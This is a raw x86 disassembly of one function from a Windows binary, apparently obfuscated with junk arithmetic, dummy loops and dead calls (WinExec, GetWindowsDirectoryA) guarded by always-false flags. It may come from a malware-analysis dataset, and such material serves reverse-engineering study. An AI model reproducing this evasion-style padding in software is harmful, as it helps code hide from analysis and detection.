inc edi
lea ecx, [esp + 0xc8]
call fcn.100165bb
mov dword [esp + 0x20], 0xfffffffb
mov dword [esp + 0x28], edi
mov dword [esp + 0x10], 0xfffffff7
mov dword [esp + 0x28], 0x1b
jmp 0x10018e2c
mov dword [esp + 0xc], 0xb1658084
mov dword [esp + 0x20], 0x77c422d5
cmp dword [esp + 0xc], ebx
je 0x10018e1a
mov eax, dword [esp + 0xc]
mov ecx, edi
mov eax, dword [esp + 0xc]
sub eax, 0xe1fca0e7
add eax, ecx
add eax, dword [esp + 0xc]
neg eax
sbb eax, eax
inc eax
add eax, dword [esp + 0xc]
je 0x10018e08
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x28], ebx
je 0x10018e16
mov eax, dword [esp + 0x28]
mov eax, edi
jmp 0x10018e1c
mov eax, ebx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], eax
dec dword [esp + 0x28]
cmp dword [esp + 0x28], 3
jg 0x10018dce
mov dword [esp + 0x10], 0xfffffff4
jmp 0x10018e94
push 3
lea ecx, [esp + 0x120]
call fcn.10015d9e
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x24], ebx
jmp 0x10018e6f
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x11c]
mov dword [eax + ecx*4], 0xea5d840d
inc dword [esp + 0x24]
cmp dword [esp + 0x24], 3
jl 0x10018e59
mov eax, dword [esp + 0x11c]
lea ecx, [esp + 0x11c]
mov eax, dword [eax + 8]
mov dword [esp + 0x20], eax
call fcn.100165bb
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xf
je 0x10018e3d
mov dword [esp + 0x18], 0x3a0b8ee4
mov dword [esp + 0x24], 0x20796559
mov dword [esp + 0x20], 0x94ccb090
mov dword [esp + 0x20], 0xc06e3268
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], 3
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018ed9
push ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov ecx, ebx
cmp dword [esp + 0x18], ebx
je 0x10018ee3
mov ecx, edi
mov eax, dword [esp + 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x18]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x24]
setge cl
xor edx, edx
cmp ecx, 0xb56
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 3
test eax, eax
jne 0x10018f1a
mov eax, dword [esp + 0x24]
cmp dword [esp + 0x18], ebx
je 0x10018f28
mov eax, edi
cmp dword [esp + 0x24], ebx
jne 0x10018f2a
mov eax, ebx
xor edx, edx
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
cmp ecx, eax
mov eax, dword [esp + 0x18]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [esp + 0x18]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
cmp ecx, eax
setl dl
sub edx, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x20], edx
xor edx, edx
cmp dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
setge dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [esp + 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x18]
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
cmp ecx, eax
setge dl
xor ecx, ecx
sub edx, dword [esp + 0x18]
sub edx, dword [esp + 0x18]
imul edx, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp edx, eax
setl cl
mov dword [esp + 0x20], ecx
mov dword [esp + 0xc], ebx
jmp 0x10018ffd
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0xa0], esi
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 3
jl 0x10018fee
mov dword [esp + 0xc], ebx
jmp 0x1001901d
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x140], 0xfffffffb
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x1001900a
mov dword [esp + 0x1c], 0x7e2799ac
mov dword [esp + 0x28], 0x7555b7ce
mov dword [esp + 0x1c], ebx
jmp 0x1001908b
mov dword [esp + 0x28], 0xb72fd491
mov dword [esp + 0x28], 0x17
jmp 0x10019080
mov dword [esp + 0x24], 0x173bf38c
mov dword [esp + 0x24], ebx
jmp 0x10019075
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10019071
push 0x2064
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec dword [esp + 0x24]
cmp dword [esp + 0x24], 0xfffffff2
jl 0x1001905a
dec dword [esp + 0x28]
cmp dword [esp + 0x28], 7
jne 0x1001904c
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x1a
jne 0x1001903a
mov eax, dword [esp + 0xa4]
sub eax, dword [esp + 0xa8]
jne 0x100190aa
mov eax, ebx
cmp dword [esp + 0x2c], ebx
je 0x100190ac
mov eax, edi
xor ecx, ecx
cmp eax, 0xb91300d3
mov eax, dword [esp + 0x2c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
test ecx, ecx
jle 0x100190db
mov edx, ebx
cmp dword [esp + 0xa0], ebx
je 0x100190dd
mov edx, edi
mov eax, dword [esp + 0x30]
xor ecx, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0xa0]
push 3
pop esi
push esi
cmp eax, edx
setl cl
mov dword [esp + 0x24], ecx
xor ecx, ecx
mov eax, dword [esp + 0x24]
cmp eax, 0x3942
mov eax, dword [esp + 0x30]
setge cl
xor edx, edx
cmp ecx, 0x3ed8
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0xa4]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [esp + 0x144], ecx
lea ecx, [esp + 0x7c]
mov dword [esp + 0x14], edi
call fcn.10015d9e
xor edx, edx
mov dword [esp + 0x1e4], 4
inc edx
mov dword [esp + 0x38], edx
mov dword [esp + 0x20], 0xc2010065
mov dword [esp + 0xc], ebx
jmp 0x10019184
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x78]
mov dword [eax + ecx*4], 0x91359a70
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x10019171
mov dword [esp + 0xc], ebx
jmp 0x1001919f
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x88], edx
inc dword [esp + 0xc]
cmp dword [esp + 0xc], edx
jl 0x10019190
mov dword [esp + 0x10], ebx
jmp 0x100193a9
mov dword [esp + 0x24], ebx
jmp 0x100191c4
mov eax, dword [esp + 0x24]
mov dword [esp + eax*4 + 0x44], 0x7b8f5f49
inc dword [esp + 0x24]
cmp dword [esp + 0x24], edx
jl 0x100191b4
mov eax, dword [esp + 0x44]
xor ecx, ecx
mov eax, dword [esp + 0x10]
cmp eax, edx
setle cl
sub ecx, dword [esp + 0x44]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xffffffff
ja 0x100191eb
mov eax, dword [esp + 0x44]
cmp dword [esp + 0x10], ebx
je 0x100191f9
mov ecx, edx
cmp dword [esp + 0x44], ebx
jne 0x100191fb
mov ecx, ebx
mov eax, dword [esp + 0x44]
xor edx, edx
cmp ecx, eax
mov eax, dword [esp + 0x10]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x194
setg al
xor edi, edi
inc edi
cmp eax, edi
jb 0x10019378
cmp dword [esp + 0x44], ebx
jne 0x10019378
mov dword [esp + 0x24], 5
lea ecx, [esp + 0xe0]
push 2
call fcn.10015d9e
mov dword [esp + 0x1c], 0xfffffffa
mov dword [esp + 0x20], 0x5adb51fd
mov dword [esp + 0x30], 0xeef10dec
mov dword [esp + 0x24], ebx
jmp 0x1001927b
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0xe0]
mov dword [eax + ecx*4], 0xf419c2b2
inc dword [esp + 0x24]
cmp dword [esp + 0x24], 2
jl 0x10019265
mov eax, dword [esp + 0x10]
mov ecx, 0xfc1c5751
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x44]
mov eax, dword [esp + 0x10]
cmp ecx, eax
mov eax, dword [esp + 0xe0]
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
mov dword [esp + 0x1c], ecx
xor ecx, ecx
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
cmp eax, edi
setg cl
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x44]
sub eax, 0x2bc90638
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x5423b19d
mov eax, dword [esp + 0x78]
setl cl
mov dword [eax + 4], ecx
mov eax, dword [esp + 0x1c]
imul eax, dword [esp + 0x10]
test eax, eax
je 0x10019359
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x3c], 0xe724d257
cmp dword [esp + 0x24], ebx
jne 0x1001930b
cmp dword [esp + 0x30], ebx
jne 0x1001930b
mov edi, ebx
mov eax, dword [esp + 0xe0]
xor edx, edx
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x78]
mov dword [eax + 8], ecx
add ecx, edi
mov eax, dword [esp + 0x24]
cmp ecx, eax
mov eax, dword [esp + 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
imul ecx, dword [esp + 0x38]
add ecx, dword [esp + 0x44]
mov eax, dword [esp + 0x20]
imul eax, ecx
mov dword [esp + 0x88], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x1c], 0x1fc5bff9
jmp 0x1001936a
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1001936a
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
lea ecx, [esp + 0xe0]
call fcn.100165bb
jmp 0x100193a2
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x1001938f
push 0x1ce9
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x100193a2
push ebx
push ebx
call dword [sym.imp.GDI32.dll_RectInRegion]
inc dword [esp + 0x10]
push 1
pop edx
cmp dword [esp + 0x10], 0xf
jge 0x100191ae
mov eax, dword [esp + 0x78]
xor edx, edx
cmp dword [eax + 4], 0xa04c7c9a
mov eax, dword [esp + 0x10]
sete dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x78]
or dword [esp + 0x1e4], 0xffffffff
call fcn.100165bb
push ebx
lea eax, [esp + 0x4f]
mov byte [esp + 0x4f], bl
push eax
push 0x28cc
call fcn.1001bd4f
add esp, 0xc
mov dword [esp + 0xc], esi
lea ecx, [esp + 0x134]
push esi
call fcn.10015d9e
mov dword [esp + 0x20], 4
mov dword [esp + 0xc], ebx
jmp 0x1001942d
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x134]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x1001941a
mov dword [esp + 0xc], ebx
jmp 0x1001944c
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x154], 0xffffffff
inc dword [esp + 0xc]
cmp dword [esp + 0xc], esi
jl 0x10019439
mov dword [esp + 0xc], ebx
jmp 0x100194aa
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x1c], 0x1c
jmp 0x1001949f
cmp dword [esp + 0x1c], 0xffffffef
je 0x1001946a
cmp dword [esp + 0xc], 0xfffffff6
jg 0x10019458
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x134]
mov eax, dword [esp + 0x134]
mov dword [eax], 0xb27f
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x158]
mov dword [esp + 0x154], eax
call fcn.100165bb
mov eax, dword [esp + 0x70]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, dword [esp + 0x4c]
mov edi, edx
mov esi, eax
call fcn.10017c89
mov ecx, dword [esp + 0x1dc]
add eax, esi
add eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret